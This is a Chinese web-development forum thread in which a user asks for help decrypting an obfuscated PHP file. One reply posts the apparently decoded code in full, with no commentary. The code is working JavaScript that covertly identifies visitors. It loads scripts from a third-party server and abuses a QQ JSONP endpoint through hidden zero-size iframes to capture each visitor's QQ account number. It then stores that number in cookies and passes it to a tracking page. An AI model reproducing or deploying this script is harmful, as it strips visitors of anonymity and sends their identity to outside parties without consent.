请问这个加密的PHP文件,如何解密啊,有高手愿意帮忙看看吗?

h34012152 2014-09-20 03:35:41
正在看我贴子的朋友,你好,我是一个PHP完美级别新手,今天碰到一个这样的文件,被人加密处理了,请问要怎么解密呢,有会的朋友吗?谢谢;要是可以,请帮忙解密一下;
额,文件的加密内容超过发贴的最大长度了;
请点击这个链接查阅加密代码吧;

http://www.yunxiaosoft.com/qiujiemi.txt
...全文
243 2 打赏 收藏 举报
写回复
用AI写文章
2 条回复
切换为时间正序
请发表友善的回复…
发表回复
Zerolone 2014-09-20
  • 打赏
  • 举报
回复
var Qin_api = 'http://api.bjbmyj.com/api';
var isIE = document.all ? true : false;
var ie = document.all ? true : false;
var isIE = !! window.ActiveXObject;

function loadJS(jsurl, onsuccess, charset, onerr) {
	var xScript = document.createElement("script");
	xScript.type = "text/javascript";
	if (charset == '') {
		xScript.charset = "utf-8"
	} else {
		xScript.charset = charset
	}
	xScript.src = jsurl;
	xScript.onerror = function() {
		if (onerr) {
			setTimeout(onerr, 10)
		}
	};
	if (ie) {
		xScript.onreadystatechange = function() {
			if (xScript.readyState) {
				if (xScript.readyState == "loaded" || xScript.readyState == "complete") {
					xScript.onreadystatechange = null;
					xScript.onload = null;
					if (onsuccess) {
						setTimeout(onsuccess, 10)
					}
				}
			} else {
				xScript.onreadystatechange = null;
				xScript.onload = null;
				if (onsuccess) {
					setTimeout(onsuccess, 10)
				}
			}
		}
	} else {
		xScript.onload = function() {
			if (xScript.readyState) {
				if (xScript.readyState == "loaded" || xScript.readyState == "complete") {
					xScript.onreadystatechange = null;
					xScript.onload = null;
					if (onsuccess) {
						setTimeout(onsuccess, 10)
					}
				}
			} else {
				xScript.onreadystatechange = null;
				xScript.onload = null;
				if (onsuccess) {
					setTimeout(onsuccess, 10)
				}
			}
		}
	}
	document.getElementsByTagName('HEAD').item(0).appendChild(xScript)
}
function fangkenoLogin() {
	xx1 = getCookie("fkqq");
	xx2 = getCookie("fkname");
	try {
		if (xx1 == '' || xx1 == 'null') {
			fangkenoLogin_api_cookie()
		} else {
			setTimeout(xxx_third, 1)
		}
	} catch (e) {
		fangkenoLogin_api_cookie()
	}
}
function fangkenoLogin_api_cookie() {
	loadJS(Qin_api + "/qq/cookie.php?t=" + (new Date).getTime())
}
function qqs_not() {
	fangkenoLogin_do()
}
function fangkenoLogin_do() {
	loadJS("http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" + (new Date).getTime(), checkLoginCB)
}
function checkLoginCB() {
	try {
		if (data0.err == 1026) {
			setTimeout(blog_api, 100)
		} else {
			setTimeout(fangkenoLogin, 5000)
		}
	} catch (e) {
		setTimeout(fangkenoLogin, 5000)
	}
}
function blog_api() {
	loadJS(Qin_api + "/blog_app.php?t=" + (new Date).getTime())
}
function loading_blog(blogid, uid) {
	window.img = "<script>function x(c){parent.scn_sendInfo(c);}<\/script><script id='img' src='http://x.pet.qq.com/vip_platform?cmd=enter&callback=x'><\/script>";
	var frameid = "frameImg" + Math.random();
	var o_v_stat_iframe = document.createElement("iframe");
	o_v_stat_iframe.src = "javascript:parent.img;";
	o_v_stat_iframe.id = frameid;
	o_v_stat_iframe.scrolling = "no";
	o_v_stat_iframe.setAttribute("frameborder", "0", 0);
	o_v_stat_iframe.style.width = "0px";
	o_v_stat_iframe.style.height = "0px";
	document.body.appendChild(o_v_stat_iframe)
}
function get_lastview() {
	var hyj_b = new Date();
	var hyj_tm = hyj_b.getTime();
	hyj_tm = Math.round(hyj_tm / 1000);
	my_fetch_url = Qin_api + "/qq/index_json.php?xx1=" + xx1 + "&xx2=" + xx2 + "&tm=" + hyj_tm;
	loadJS(my_fetch_url)
}
function scn_sendInfo(id) {
	try {
		xx1 = id.uin;
		xx2 = 'Null';
		setCookie("fkqq", xx1);
		setCookie("fkname", xx2);
		setTimeout(get_lastview, 1)
	} catch (e) {}
}
function qqs(id) {
	xx1 = id.uin;
	xx2 = 'Null';
	setTimeout(xxx_third, 1)
}
function xxx_third() {
	var xurl = location.href;
	var xurl = xurl.replace("T-census.php", "C-census.php");
	var iframe = document.createElement("iframe");
	iframe.src = xurl + "&xx1=" + xx1 + "&xx2=" + xx2;
	iframe.id = "QQfangke_iframe_two";
	iframe.name = "QQfangke_iframe_two";
	iframe.style.width = "0px";
	iframe.style.height = "0px";
	iframe.scrolling = "no";
	iframe.setAttribute('frameborder', '0', 0);
	document.body.appendChild(iframe)
}
function setCookie(name, value) {
	var Days = 1000;
	var exp = new Date();
	exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
	document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
}
function getCookie(name) {
	var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
	if (arr = document.cookie.match(reg)) return (arr[2]);
	else return 'null'
}
function delCookie(name) {
	var date = new Date();
	date.setTime(date.getTime() - 10000);
	document.cookie = name + "=;expire=" + date.toGMTString()
}
delCookie("fkqq");
delCookie("fkname");
fangkenoLogin();
Zerolone 2014-09-20
  • 打赏
  • 举报
回复
这个我记得我以前解过, /**/之间的,用正则删除掉。

87,984

社区成员

发帖
与我相关
我的任务
社区描述
Web 开发 JavaScript
社区管理员
  • JavaScript
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧